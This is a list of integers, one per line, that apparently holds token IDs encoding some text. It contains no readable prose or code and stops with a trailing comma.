2012,
341,
15210,
51,
603,
1041,
295,
338,
29755,
331,
3105,
707,
16263,
19816,
1985,
4037,
295,
588,
310,
2532,
16263,
19816,
1985,
365,
2172,
603,
1041,
295,
338,
18034,
1429,
341,
8466,
19461,
458,
37569,
2236,
2308,
331,
295,
338,
990,
29314,
51,
295,
338,
295,
338,
496,
772,
503,
281,
16263,
19816,
1167,
391,
545,
13748,
295,
338,
496,
8152,
244,
54,
51,
57,
295,
588,
310,
581,
782,
8466,
19816,
31837,
45,
6042,
19816,
1167,
503,
46,
320,
343,
640,
1985,
941,
7079,
19816,
31837,
45,
106,
312,
310,
339,
303,
339,
465,
1041,
294,
338,
9308,
619,
1998,
451,
16263,
19816,
2239,
49,
1532,
458,
3654,
391,
341,
294,
338,
990,
29314,
829,
2462,
2299,
941,
244,
906,
4731,
16263,
19816,
2239,
458,
1674,
294,
338,
391,
2902,
8466,
19461,
50,
36433,
25531,
51,
294,
338,
294,
338,
496,
620,
665,
16263,
19816,
2239,
1532,
4584,
19461,
50,
36433,
25531,
294,
338,
496,
2987,
607,
3806,
2299,
294,
338,
496,
2987,
16263,
19816,
1985,
294,
338,
496,
8152,
244,
54,
51,
57,
294,
588,
303,
2532,
16263,
19816,
2239,
1506,
6042,
19816,
2239,
365,
320,
310,
461,
640,
1985,
492,
303,
339,
465,
1041,
294,
338,
19275,
331,
7508,
5710,
2540,
7279,
51,
294,
338,
294,
338,
496,
772,
503,
341,
2821,
1557,
1708,
294,
588,
303,
2532,
782,
1991,
26964,
3948,
4263,
45,
1667,
25211,
503,
46,
320,
310,
7508,
16415,
51,
287,
4647,
492,
310,
7508,
16415,
51,
4332,
2043,
492,
303,
339,
465,
1041,
294,
338,
19275,
19223,
51,
294,
338,
294,
338,
496,
772,
503,
341,
2821,
1557,
1708,
294,
588,
303,
2532,
782,
1991,
16659,
45,
1667,
25211,
503,
46,
303,
320,
310,
990,
16659,
3627,
16659,
299,
327,
79,
16659,
2516,
106,
51,
390,
10560,
899,
1052,
310,
990,
16659,
556,
16659,
299,
327,
79,
16659,
2516,
106,
51,
390,
30286,
1052,
603,
434,
327,
1477,
16659,
882,
762,
46,
320,
343,
3627,
16659,
51,
2564,
17089,
45,
10828,
17089,
312,
310,
339,
603,
434,
327,
909,
16659,
882,
762,
46,
320,
343,
6460,
317,
299,
556,
16659,
51,
28987,
2746,
492,
343,
434,
327,
5828,
16415,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
1177,
320,
419,
317,
51,
125,
299,
4189,
51,
1472,
45,
117,
51,
125,
49,
244,
53,
312,
343,
339,
832,
320,
419,
648,
1788,
299,
556,
16659,
51,
28987,
1269,
941,
1660,
64,
419,
648,
21190,
299,
556,
16659,
51,
390,
18683,
1269,
941,
1660,
64,
419,
434,
327,
21344,
868,
1788,
46,
320,
547,
317,
51,
125,
299,
1788,
449,
21190,
64,
419,
339,
832,
320,
547,
317,
51,
125,
299,
4189,
51,
1472,
45,
53,
49,
4189,
51,
907,
45,
1472,
449,
21190,
49,
317,
51,
125,
894,
419,
339,
343,
339,
343,
317,
51,
126,
299,
4189,
51,
1472,
45,
117,
51,
126,
49,
244,
53,
312,
343,
556,
16659,
51,
43133,
2746,
45,
117,
312,
343,
556,
16659,
51,
688,
17089,
45,
10828,
17089,
312,
310,
339,
303,
339,
465,
1041,
294,
338,
19275,
2720,
3353,
51,
294,
338,
294,
338,
496,
772,
503,
341,
2821,
1557,
1708,
294,
588,
303,
2532,
782,
1991,
2368,
2661,
45,
1667,
25211,
503,
46,
303,
320,
310,
990,
16659,
556,
2368,
7983,
299,
327,
79,
16659,
2516,
106,
51,
390,
30286,
1052,
310,
434,
327,
909,
2368,
7983,
882,
762,
46,
320,
343,
990,
16659,
19223,
299,
7508,
16415,
51,
390,
16659,
492,
343,
6460,
317,
299,
556,
2368,
7983,
51,
28987,
2746,
492,
343,
317,
51,
126,
299,
327,
10828,
882,
762,
46,
1037,
19223,
51,
28987,
2746,
941,
126,
518,
244,
53,
64,
343,
556,
2368,
7983,
51,
43133,
2746,
45,
117,
312,
310,
339,
303,
339,
465,
1041,
294,
338,
19275,
2656,
3353,
51,
294,
338,
294,
338,
496,
772,
503,
341,
2821,
1557,
1708,
294,
588,
303,
2532,
782,
1991,
2154,
2661,
45,
1667,
25211,
503,
46,
303,
320,
310,
990,
16659,
556,
889,
7983,
299,
327,
79,
16659,
2516,
106,
51,
390,
30286,
1052,
310,
434,
327,
909,
889,
7983,
882,
762,
46,
320,
343,
990,
16659,
19223,
299,
7508,
16415,
51,
390,
16659,
492,
343,
6460,
317,
299,
556,
889,
7983,
51,
28987,
2746,
492,
343,
434,
327,
10828,
630,
762,
46,
320,
419,
317,
51,
125,
299,
244,
53,
64,
343,
339,
832,
320,
419,
434,
327,
5828,
16415,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
1177,
320,
547,
317,
51,
125,
299,
19223,
51,
28987,
2746,
941,
125,
64,
419,
339,
832,
320,
547,
317,
51,
125,
299,
4189,
51,
1472,
45,
53,
49,
19223,
51,
28987,
2746,
941,
125,
312,
419,
339,
343,
339,
343,
556,
889,
7983,
51,
43133,
2746,
45,
117,
312,
343,
7508,
16415,
51,
688,
45,
909,
889,
7983,
49,
22013,
100,
10862,
312,
310,
339,
303,
339,
465,
964,
782,
1991,
11388,
26964,
45,
1667,
25211,
317,
388,
46,
320,
310,
1991,
26964,
45,
117,
388,
49,
439,
5692,
17089,
49,
439,
5692,
1667,
17089,
312,
303,
339,
465,
964,
782,
1991,
11916,
26964,
45,
1667,
25211,
317,
388,
46,
320,
310,
1991,
26964,
45,
117,
388,
49,
373,
5692,
17089,
49,
373,
5692,
1667,
17089,
312,
303,
339,
465,
964,
782,
1991,
26964,
45,
1667,
25211,
317,
388,
49,
5621,
2239,
1553,
49,
786,
6484,
17089,
317,
592,
46,
320,
310,
990,
26964,
6127,
299,
327,
79,
26964,
46,
117,
388,
51,
390,
10560,
899,
492,
310,
434,
327,
5692,
882,
762,
46,
320,
343,
434,
327,
592,
882,
762,
46,
320,
419,
6127,
51,
26959,
941,
2564,
17089,
45,
592,
312,
343,
339,
343,
434,
327,
34249,
882,
762,
46,
320,
419,
6127,
51,
2564,
1667,
17089,
45,
34249,
312,
343,
339,
310,
339,
310,
6127,
299,
327,
79,
26964,
46,
117,
388,
51,
390,
30286,
492,
310,
434,
327,
5692,
882,
762,
46,
320,
343,
434,
327,
592,
882,
762,
46,
320,
419,
6127,
51,
26959,
941,
688,
17089,
45,
592,
312,
343,
339,
343,
434,
327,
34249,
882,
762,
46,
320,
419,
6127,
51,
36538,
17089,
45,
34249,
312,
343,
339,
310,
339,
303,
339,
465,
1041,
294,
338,
6484,
1557,
4908,
51,
294,
338,
1369,
462,
5394,
1773,
456,
21942,
14673,
51,
294,
338,
3381,
2840,
8923,
1421,
2602,
13643,
2012,
15210,
51,
294,
338,
496,
15033,
294,
588,
303,
496,
15375,
45,
8152,
299,
332,
54,
60,
411,
456,
36411,
299,
878,
46,
303,
581,
462,
6484,
1810,
1985,
4584,
6484,
17089,
303,
320,
310,
1041,
295,
338,
29755,
331,
3105,
707,
6484,
1810,
1985,
4037,
295,
588,
310,
581,
6484,
1810,
1985,
365,
2172,
603,
453,
12125,
63,
1369,
462,
5394,
1773,
456,
21942,
14673,
51,
3381,
310,
453,
2840,
8923,
1421,
2602,
13643,
2012,
15210,
51,
1691,
863,
1868,
391,
1035,
310,
453,
556,
8923,
1035,
580,
391,
341,
15210,
49,
1294,
1949,
3673,
477,
310,
453,
462,
7410,
2012,
341,
15210,
51,
603,
1041,
295,
338,
3105,
18438,
130,
295,
588,
310,
581,
782,
2821,
1810,
45,
1667,
25211,
503,
46,
310,
320,
343,
640,
1985,
941,
2449,
1810,
45,
106,
312,
310,
339,
303,
339,
17522,
1041,
294,
338,
9308,
619,
1998,
451,
3105,
707,
6484,
17089,
130,
708,
1200,
3654,
391,
294,
338,
341,
3105,
707,
990,
29314,
130,
829,
3105,
707,
2462,
2299,
41271,
3743,
4844,
902,
2695,
294,
338,
477,
1431,
391,
461,
331,
3137,
3105,
707,
6484,
17089,
855,
503,
51,
108,
51,
294,
338,
350,
1023,
67,
294,
338,
462,
4318,
29314,
2299,
2041,
9280,
29314,
2299,
320,
294,
338,
283,
2532,
6484,
17089,
350,
103,
67,
1315,
1667,
17089,
396,
103,
6939,
320,
294,
338,
370,
461,
556,
4318,
1667,
17089,
492,
294,
338,
283,
339,
294,
338,
283,
581,
462,
4318,
1667,
17089,
2041,
6484,
17089,
320,
294,
338,
370,
581,
782,
2821,
1810,
45,
1667,
25211,
503,
46,
320,
294,
338,
1485,
434,
327,
106,
51,
12712,
577,
941,
3591,
459,
10828,
2152,
320,
294,
338,
2087,
453,
764,
1649,
6737,
1409,
1429,
341,
19223,
3417,
294,
338,
1485,
339,
294,
338,
1485,
2615,
51,
2449,
1810,
45,
106,
312,
294,
338,
370,
339,
294,
338,
283,
339,
294,
338,
339,
294,
338,
594,
1023,
67,
294,
338,
294,
338,
496,
620,
619,
1998,
451,
3105,
707,
6484,
17089,
130,
294,
338,
294,
338,
496,
2987,
1401,
51,
9580,
51,
1667,
17089,
294,
338,
496,
2987,
607,
3806,
2299,
294,
588,
303,
2532,
6484,
17089,
1506,
1667,
17089,
365,
320,
310,
461,
640,
1985,
492,
303,
339,
4054,
964,
924,
462,
19055,
2041,
5326,
1728,
320,
310,
964,
924,
1175,
910,
9997,
21137,
100,
2430,
299,
332,
5828,
1405,
884,
310,
964,
924,
1175,
910,
9997,
21137,
100,
10453,
299,
332,
5828,
3228,
884,
310,
964,
924,
1175,
910,
9997,
21137,
100,
8452,
299,
332,
5828,
4637,
884,
310,
964,
924,
1175,
910,
9997,
21137,
100,
3298,
299,
332,
5828,
2117,
884,
310,
964,
924,
1175,
910,
43837,
100,
33573,
100,
2430,
299,
332,
2260,
5606,
1405,
884,
310,
964,
924,
1175,
910,
43837,
100,
33573,
100,
10453,
299,
332,
2260,
5606,
3228,
884,
310,
964,
924,
1175,
910,
9997,
21137,
100,
10779,
299,
332,
5828,
3695,
884,
310,
964,
924,
1175,
910,
9997,
21137,
100,
6517,
299,
332,
5828,
4058,
884,
310,
964,
924,
1175,
910,
43837,
100,
33573,
100,
10779,
299,
332,
2260,
5606,
3695,
884,
310,
964,
924,
1175,
910,
43837,
100,
33573,
100,
6517,
299,
332,
2260,
5606,
4058,
884,
6934,
19055,
45,
671,
1221,
46,
320,
343,
2615,
45,
697,
312,
310,
339,
603,
581,
782,
29546,
45,
18126,
503,
46,
320,
343,
990,
29314,
7508,
7586,
299,
327,
79,
29314,
46,
106,
51,
25518,
492,
343,
1922,
475,
378,
299,
7508,
7586,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
492,
343,
910,
1221,
299,
16389,
492,
1083,
434,
327,
697,
630,
9997,
21137,
100,
2430,
46,
320,
419,
7508,
45,
5828,
7586,
49,
6505,
318,
5238,
51,
34766,
49,
449,
54,
49,
878,
312,
343,
339,
343,
832,
434,
327,
697,
630,
9997,
21137,
100,
10453,
46,
320,
419,
7508,
45,
5828,
7586,
49,
6505,
318,
5238,
51,
34766,
49,
244,
54,
49,
878,
312,
343,
339,
343,
832,
434,
327,
697,
630,
9997,
21137,
100,
8452,
46,
320,
419,
7508,
4637,
45,
5828,
7586,
312,
343,
339,
343,
832,
434,
327,
697,
630,
9997,
21137,
100,
3298,
46,
320,
419,
7508,
2117,
45,
5828,
7586,
312,
343,
339,
343,
832,
434,
327,
697,
630,
43837,
100,
33573,
100,
2430,
46,
320,
419,
7508,
45,
5828,
7586,
49,
6505,
318,
5238,
51,
34766,
49,
449,
54,
49,
920,
312,
343,
339,
343,
832,
434,
327,
697,
630,
43837,
100,
33573,
100,
10453,
46,
320,
419,
7508,
45,
5828,
7586,
49,
6505,
318,
5238,
51,
34766,
49,
244,
54,
49,
920,
312,
343,
339,
343,
832,
434,
327,
697,
630,
9997,
21137,
100,
10779,
46,
320,
419,
7508,
45,
5828,
7586,
49,
6505,
318,
5238,
51,
31354,
49,
475,
378,
1037,
449,
54,
518,
244,
54,
49,
5580,
878,
312,
343,
339,
343,
832,
434,
327,
697,
630,
9997,
21137,
100,
6517,
46,
320,
419,
7508,
45,
5828,
7586,
49,
6505,
318,
5238,
51,
31354,
49,
475,
378,
1037,
244,
54,
518,
449,
54,
49,
5580,
878,
312,
343,
339,
343,
832,
434,
327,
697,
630,
43837,
100,
33573,
100,
10779,
46,
320,
419,
7508,
45,
5828,
7586,
49,
6505,
318,
5238,
51,
31354,
49,
475,
378,
1037,
449,
54,
518,
244,
54,
49,
5580,
920,
312,
343,
339,
343,
832,
434,
327,
697,
630,
43837,
100,
33573,
100,
6517,
46,
320,
419,
7508,
45,
5828,
7586,
49,
6505,
318,
5238,
51,
31354,
49,
475,
378,
1037,
244,
54,
518,
449,
54,
49,
5580,
920,
312,
343,
339,
310,
339,
603,
964,
782,
7508,
2117,
45,
79,
29314,
7508,
16415,
46,
320,
343,
990,
16659,
22676,
299,
7508,
16415,
51,
390,
16659,
492,
343,
5715,
2221,
64,
343,
434,
327,
10743,
882,
762,
979,
327,
1090,
299,
22676,
51,
28987,
1177,
882,
762,
46,
320,
419,
18092,
3084,
4377,
299,
22676,
51,
28987,
4377,
492,
419,
18092,
11622,
299,
2221,
51,
390,
8293,
492,
419,
434,
327,
5828,
16415,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
1177,
320,
547,
22676,
51,
43133,
2746,
45,
909,
6460,
45,
11229,
51,
1660,
449,
3084,
4377,
51,
1660,
49,
13703,
11622,
51,
2296,
449,
3084,
4377,
51,
2296,
894,
419,
339,
832,
320,
547,
22676,
51,
43133,
2746,
45,
909,
6460,
45,
53,
49,
13703,
11622,
51,
2296,
449,
3084,
4377,
51,
2296,
894,
419,
339,
343,
339,
310,
339,
603,
964,
782,
7508,
4637,
45,
79,
29314,
7508,
16415,
46,
320,
343,
990,
16659,
22676,
299,
7508,
16415,
51,
390,
16659,
492,
343,
5715,
2221,
64,
343,
434,
327,
10743,
882,
762,
979,
327,
1090,
299,
22676,
51,
28987,
1177,
882,
762,
46,
320,
419,
434,
327,
5828,
16415,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
1177,
320,
547,
22676,
51,
43133,
2746,
45,
909,
6460,
45,
53,
49,
244,
53,
894,
419,
339,
832,
320,
547,
18092,
3084,
4377,
299,
22676,
51,
28987,
4377,
492,
547,
18092,
11622,
299,
2221,
51,
390,
8293,
492,
547,
22676,
51,
43133,
2746,
45,
909,
6460,
45,
11229,
51,
1660,
449,
3084,
4377,
51,
1660,
49,
244,
53,
894,
419,
339,
343,
339,
310,
339,
603,
964,
782,
7508,
45,
79,
29314,
7508,
16415,
49,
648,
14111,
49,
1031,
648,
6999,
49,
1922,
2181,
46,
320,
343,
990,
16659,
22676,
299,
7508,
16415,
51,
390,
16659,
492,
343,
5715,
2221,
64,
343,
434,
327,
10743,
882,
762,
979,
327,
1090,
299,
22676,
51,
28987,
1177,
882,
762,
46,
320,
419,
18092,
3084,
4377,
299,
22676,
51,
28987,
4377,
492,
419,
17432,
373,
1269,
299,
2221,
51,
24600,
492,
419,
648,
5190,
64,
2125,
434,
327,
1090,
5118,
19160,
463,
46,
320,
547,
434,
327,
1540,
46,
320,
733,
5190,
299,
1849,
5606,
463,
46,
1090,
566,
390,
5606,
463,
2246,
13814,
786,
327,
1893,
4377,
49,
14111,
49,
6999,
312,
547,
339,
547,
832,
320,
733,
5190,
299,
1849,
5606,
463,
46,
1090,
566,
390,
5606,
463,
3024,
13814,
786,
327,
1893,
4377,
49,
14111,
49,
6999,
312,
547,
339,
419,
339,
419,
832,
320,
547,
434,
327,
1540,
46,
320,
733,
434,
327,
16557,
630,
6505,
318,
5238,
51,
34766,
46,
320,
1031,
5190,
299,
3084,
4377,
51,
2296,
64,
733,
339,
733,
832,
320,
1031,
5190,
299,
3084,
4377,
51,
1660,
64,
733,
339,
547,
339,
547,
832,
320,
733,
5190,
299,
244,
54,
53,
64,
547,
339,
419,
339,
419,
434,
327,
16557,
630,
6505,
318,
5238,
51,
34766,
46,
320,
547,
3084,
4377,
51,
126,
1475,
327,
5568,
338,
6999,
312,
547,
434,
1849,
1893,
4377,
51,
126,
494,
3084,
4377,
51,
2296,
46,
868,
373,
1269,
51,
2296,
46,
320,
733,
3084,
4377,
51,
126,
299,
4189,
51,
1472,
45,
53,
49,
373,
1269,
51,
2296,
449,
3084,
4377,
51,
2296,
312,
547,
339,
547,
832,
434,
327,
1893,
4377,
51,
126,
350,
244,
53,
46,
320,
733,
3084,
4377,
51,
126,
299,
244,
53,
64,
547,
339,
419,
339,
419,
832,
320,
547,
434,
327,
5828,
16415,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
1177,
320,
733,
3084,
4377,
51,
125,
1475,
327,
5568,
338,
6999,
312,
733,
434,
1849,
1893,
4377,
51,
125,
494,
3084,
4377,
51,
1660,
46,
868,
373,
1269,
51,
1660,
46,
320,
1031,
3084,
4377,
51,
125,
299,
4189,
51,
1472,
45,
53,
49,
373,
1269,
51,
1660,
449,
3084,
4377,
51,
1660,
312,
733,
339,
832,
434,
327,
1893,
4377,
51,
125,
350,
244,
53,
46,
320,
1031,
3084,
4377,
51,
125,
299,
244,
53,
64,
733,
339,
547,
339,
832,
320,
733,
3084,
4377,
51,
125,
5928,
327,
5568,
338,
6999,
312,
733,
434,
327,
1893,
4377,
51,
1660,
868,
373,
1269,
51,
1660,
46,
320,
1031,
3084,
4377,
51,
125,
299,
373,
1269,
51,
1660,
449,
3084,
4377,
51,
1660,
64,
733,
339,
832,
320,
1031,
3084,
4377,
51,
125,
299,
4189,
51,
1472,
45,
53,
49,
4189,
51,
907,
45,
123,
1269,
51,
1660,
449,
3084,
4377,
51,
1660,
49,
3084,
4377,
51,
125,
894,
733,
339,
547,
339,
419,
339,
419,
22676,
51,
43133,
2746,
45,
1893,
4377,
51,
26716,
1052,
343,
339,
310,
339,
303,
339,
4054,
462,
15210,
4584,
5621,
2239,
49,
6484,
17089,
49,
16263,
19816,
2239,
320,
310,
453,
310,
453,
16263,
19816,
2239,
310,
453,
310,
581,
782,
8466,
19816,
31837,
45,
6042,
19816,
1167,
503,
46,
320,
343,
434,
327,
5828,
16415,
51,
316,
19816,
41315,
4006,
365,
979,
419,
503,
51,
390,
19816,
10493,
365,
882,
244,
53,
46,
320,
419,
990,
26964,
391,
5606,
299,
7508,
16415,
51,
390,
11916,
26964,
492,
419,
648,
6999,
299,
503,
51,
390,
19816,
10493,
365,
350,
244,
53,
1037,
449,
54,
518,
244,
54,
64,
419,
648,
14111,
299,
6505,
318,
5238,
51,
34766,
64,
2125,
453,
2309,
1532,
39779,
391,
7508,
49,
575,
461,
434,
4919,
419,
434,
327,
471,
5606,
630,
762,
1293,
673,
471,
5606,
51,
31215,
365,
733,
1293,
503,
51,
316,
10221,
3228,
1177,
320,
547,
990,
26964,
439,
5606,
299,
7508,
16415,
51,
390,
11388,
26964,
492,
547,
434,
327,
109,
5606,
630,
762,
46,
320,
733,
461,
64,
547,
339,
832,
434,
327,
109,
5606,
51,
31215,
1177,
320,
733,
391,
5606,
299,
439,
5606,
64,
733,
14111,
299,
6505,
318,
5238,
51,
31354,
64,
547,
339,
832,
434,
1445,
109,
5606,
51,
31215,
1177,
320,
733,
434,
327,
106,
51,
316,
10221,
3228,
1177,
320,
1031,
461,
64,
733,
339,
733,
14111,
299,
6505,
318,
5238,
51,
34766,
64,
547,
339,
419,
339,
2125,
503,
51,
19877,
492,
2125,
434,
327,
106,
51,
390,
5606,
638,
365,
630,
16263,
19816,
1167,
51,
92,
1692,
2165,
100,
14078,
100,
33573,
46,
320,
547,
990,
16659,
22676,
299,
7508,
16415,
51,
390,
16659,
492,
547,
434,
327,
10743,
630,
762,
46,
320,
461,
64,
339,
547,
5715,
940,
299,
22676,
51,
28987,
492,
547,
648,
10058,
299,
4189,
51,
3615,
45,
106,
51,
390,
13117,
724,
5606,
1052,
3704,
453,
5094,
341,
25531,
8246,
458,
758,
391,
7123,
49,
580,
1200,
4222,
547,
453,
456,
331,
4005,
19461,
5035,
391,
7508,
829,
1851,
10058,
2806,
547,
453,
1118,
8240,
347,
341,
8716,
5978,
51,
244,
1369,
7437,
580,
547,
453,
6804,
52,
440,
21855,
391,
640,
391,
9464,
8740,
451,
341,
25531,
547,
453,
5715,
642,
341,
19461,
51,
244,
2634,
1949,
456,
1851,
26652,
547,
453,
7487,
50,
7682,
25531,
49,
1019,
2741,
25531,
391,
341,
2181,
547,
453,
11902,
434,
341,
19461,
1616,
1773,
37569,
1611,
5035,
51,
547,
1922,
2741,
5606,
299,
4189,
51,
3615,
45,
106,
51,
390,
19816,
10493,
1177,
630,
244,
54,
64,
3704,
453,
3471,
434,
1019,
1414,
813,
341,
8716,
4377,
30512,
547,
2210,
8160,
19816,
5606,
299,
391,
5606,
51,
19754,
1667,
45,
16324,
332,
79,
26964,
51,
6594,
19816,
41315,
742,
547,
434,
327,
4718,
51,
6382,
630,
8160,
19816,
5606,
979,
733,
940,
5118,
19160,
463,
46,
320,
733,
453,
244,
58,
53,
60,
61,
57,
58,
57,
63,
20118,
7123,
28879,
49,
1019,
1648,
7508,
733,
453,
829,
5110,
244,
54,
53,
53,
120,
451,
10058,
347,
3182,
54,
3118,
51,
733,
453,
733,
453,
9280,
26964,
2299,
51,
5828,
1103,
13117,
365,
902,
342,
835,
2850,
341,
535,
6286,
733,
453,
642,
7095,
41924,
347,
477,
18765,
51,
244,
8786,
49,
341,
733,
453,
19160,
463,
2586,
6990,
1790,
391,
3119,
347,
619,
733,
453,
16948,
8716,
4377,
51,
244,
1369,
6990,
1790,
391,
21821,
12246,
733,
453,
9226,
341,
3410,
7508,
5190,
49,
480,
1636,
1991,
733,
453,
341,
13029,
5065,
51,
244,
1369,
28856,
7388,
5631,
15211,
733,
453,
16652,
25411,
19461,
25531,
51,
733,
19160,
463,
7508,
1000,
299,
327,
5606,
463,
46,
940,
64,
733,
18092,
2221,
4377,
299,
22676,
51,
28987,
4377,
492,
733,
648,
8074,
93,
299,
2221,
4377,
51,
125,
64,
733,
1922,
2859,
724,
4058,
299,
786,
940,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
492,
733,
648,
7508,
2944,
299,
391,
5606,
51,
390,
13368,
492,
733,
648,
7508,
2725,
299,
391,
5606,
51,
390,
12739,
365,
449,
2493,
391,
5606,
51,
26959,
941,
390,
18683,
492,
6205,
434,
327,
3262,
5606,
46,
320,
1031,
648,
2181,
402,
2465,
299,
1396,
7508,
1000,
51,
390,
5606,
463,
2246,
13814,
45,
1090,
4377,
49,
15788,
14111,
49,
15788,
6999,
312,
1031,
434,
327,
7366,
350,
244,
53,
46,
320,
1396,
7508,
2944,
299,
4189,
51,
1472,
45,
5828,
2944,
49,
16324,
391,
5606,
51,
6693,
365,
449,
2181,
402,
2465,
312,
1031,
339,
1031,
832,
320,
1396,
7508,
2725,
299,
4189,
51,
907,
45,
5828,
2725,
49,
16324,
391,
5606,
51,
6693,
365,
494,
2181,
402,
2465,
312,
1031,
339,
733,
339,
6205,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
10058,
64,
613,
2002,
320,
1031,
648,
4220,
402,
2465,
299,
1396,
7508,
1000,
51,
390,
5606,
463,
3024,
13814,
45,
1090,
4377,
49,
7581,
14111,
49,
6999,
312,
1031,
453,
19936,
341,
8716,
7597,
456,
341,
2371,
4220,
49,
480,
1031,
453,
1524,
391,
2337,
434,
1019,
4501,
840,
341,
962,
3443,
51,
1031,
434,
327,
16557,
630,
6505,
318,
5238,
51,
34766,
46,
320,
1396,
434,
327,
7366,
350,
244,
53,
46,
320,
1908,
2221,
4377,
51,
126,
5928,
4220,
402,
2465,
64,
1908,
434,
327,
1090,
4377,
51,
126,
2527,
7508,
2944,
46,
320,
2493,
2221,
4377,
51,
126,
299,
7508,
2944,
64,
2493,
1644,
64,
1908,
339,
1396,
339,
1396,
832,
320,
453,
327,
7366,
868,
244,
53,
1908,
2221,
4377,
51,
126,
1475,
4220,
402,
2465,
64,
1908,
434,
327,
1090,
4377,
51,
126,
2394,
7508,
2725,
46,
320,
2493,
2221,
4377,
51,
126,
299,
7508,
2725,
64,
2493,
1644,
64,
1908,
339,
1396,
339,
1031,
339,
1031,
832,
320,
1396,
453,
19160,
2859,
1396,
434,
1849,
1892,
724,
4058,
979,
6999,
350,
244,
53,
46,
1293,
1908,
1445,
1892,
724,
4058,
979,
6999,
868,
244,
53,
509,
320,
1908,
2221,
4377,
51,
125,
5928,
4220,
402,
2465,
64,
1908,
434,
327,
1892,
724,
4058,
46,
320,
2493,
434,
327,
1090,
4377,
51,
125,
350,
7508,
2944,
46,
320,
3402,
2221,
4377,
51,
125,
299,
7508,
2944,
64,
3402,
1644,
64,
2493,
339,
1908,
339,
1396,
339,
1396,
453,
19160,
2109,
1396,
832,
434,
1849,
1892,
724,
4058,
979,
6999,
868,
244,
53,
46,
1293,
1908,
1445,
1892,
724,
4058,
979,
6999,
350,
244,
53,
509,
320,
1908,
2221,
4377,
51,
125,
1475,
4220,
402,
2465,
64,
1908,
434,
327,
1892,
724,
4058,
46,
320,
2493,
434,
327,
1090,
4377,
51,
125,
868,
7508,
2725,
46,
320,
3402,
2221,
4377,
51,
125,
299,
7508,
2725,
64,
3402,
1644,
64,
2493,
339,
1908,
339,
1396,
339,
1396,
832,
320,
1908,
1217,
920,
518,
332,
3921,
50,
41001,
1599,
5715,
13986,
536,
7508,
6999,
884,
1396,
339,
1031,
339,
733,
339,
733,
453,
1776,
341,
1175,
2221,
2764,
563,
341,
19160,
2914,
733,
434,
327,
16557,
630,
6505,
318,
5238,
51,
34766,
46,
320,
1031,
391,
5606,
51,
11534,
45,
1090,
4377,
51,
126,
312,
733,
339,
733,
832,
320,
1031,
434,
327,
1892,
724,
4058,
46,
320,
1396,
391,
5606,
51,
11534,
45,
1090,
4377,
51,
125,
312,
1031,
339,
1031,
832,
320,
1396,
453,
2109,
724,
3695,
7508,
15411,
904,
26852,
337,
642,
1396,
453,
1865,
899,
563,
341,
2109,
480,
39117,
563,
341,
1396,
453,
2859,
51,
1396,
648,
556,
3010,
299,
391,
5606,
51,
6693,
365,
449,
22613,
327,
1090,
4377,
51,
125,
449,
8074,
93,
312,
1396,
434,
327,
909,
3010,
350,
7508,
2944,
46,
320,
1908,
556,
3010,
299,
7508,
2944,
64,
1396,
339,
1396,
832,
434,
327,
909,
3010,
868,
7508,
2725,
46,
320,
1908,
556,
3010,
299,
7508,
2725,
64,
1396,
339,
1396,
391,
5606,
51,
11534,
45,
909,
3010,
312,
1031,
339,
733,
339,
547,
339,
547,
832,
320,
733,
453,
4340,
644,
1200,
2221,
458,
666,
331,
19160,
463,
49,
575,
8160,
19461,
733,
453,
25531,
458,
666,
5892,
51,
733,
9280,
26964,
2299,
51,
5828,
1103,
13117,
45,
471,
5606,
49,
6999,
49,
22613,
10058,
49,
2741,
5606,
312,
547,
339,
419,
339,
419,
832,
434,
327,
106,
51,
390,
5606,
638,
365,
630,
674,
16263,
19816,
1167,
51,
92,
1692,
2165,
100,
10326,
100,
33573,
46,
320,
547,
9280,
26964,
2299,
51,
5828,
1103,
2246,
45,
471,
5606,
49,
6999,
312,
419,
339,
343,
339,
310,
339,
603,
453,
310,
453,
5621,
2239,
63,
1369,
458,
3654,
391,
341,
373,
1093,
644,
49,
480,
439,
5692,
52,
4876,
103,
4590,
51,
310,
453,
310,
581,
782,
1621,
3663,
45,
25211,
503,
46,
320,
343,
990,
16659,
19223,
299,
7508,
16415,
51,
390,
16659,
492,
1083,
434,
327,
10828,
882,
762,
46,
320,
419,
434,
327,
106,
51,
25518,
365,
630,
19223,
46,
320,
547,
7659,
29314,
1569,
16659,
492,
419,
339,
419,
832,
320,
547,
990,
26964,
439,
5692,
299,
7508,
16415,
51,
390,
11388,
26964,
492,
547,
434,
327,
3931,
103,
882,
762,
979,
503,
51,
25518,
365,
630,
439,
5692,
51,
26959,
1177,
320,
733,
439,
5692,
36164,
45,
10828,
49,
503,
312,
547,
339,
547,
832,
320,
733,
990,
26964,
373,
5692,
299,
7508,
16415,
51,
390,
11916,
26964,
492,
733,
434,
327,
4876,
103,
882,
762,
979,
503,
51,
25518,
365,
630,
373,
5692,
51,
26959,
1177,
320,
1031,
373,
5692,
36164,
45,
10828,
49,
503,
312,
733,
339,
547,
339,
419,
339,
343,
339,
310,
339,
603,
964,
782,
373,
5692,
36164,
45,
79,
16659,
19223,
49,
5621,
1167,
503,
46,
320,
343,
11547,
6923,
3216,
1262,
1573,
299,
327,
44284,
3216,
1262,
2516,
106,
51,
25518,
1052,
343,
6460,
317,
299,
19223,
51,
28987,
2746,
492,
343,
317,
51,
126,
299,
1573,
51,
6693,
492,
343,
19223,
51,
43133,
2746,
45,
117,
312,
310,
339,
603,
964,
782,
439,
5692,
36164,
45,
79,
16659,
19223,
49,
5621,
1167,
503,
46,
320,
343,
11547,
6923,
3216,
1262,
1573,
299,
327,
44284,
3216,
1262,
2516,
106,
51,
25518,
1052,
343,
6460,
317,
299,
19223,
51,
28987,
2746,
492,
343,
648,
804,
299,
1573,
51,
6693,
492,
343,
434,
327,
5828,
16415,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
1177,
320,
419,
317,
51,
125,
299,
804,
64,
343,
339,
832,
320,
419,
648,
1788,
299,
19223,
51,
28987,
1269,
941,
1660,
64,
419,
648,
21190,
299,
19223,
51,
390,
18683,
1269,
941,
1660,
64,
419,
648,
3627,
93,
299,
317,
51,
125,
64,
2125,
1276,
1776,
556,
1618,
12676,
4148,
563,
332,
872,
2316,
372,
588,
419,
317,
51,
125,
299,
1788,
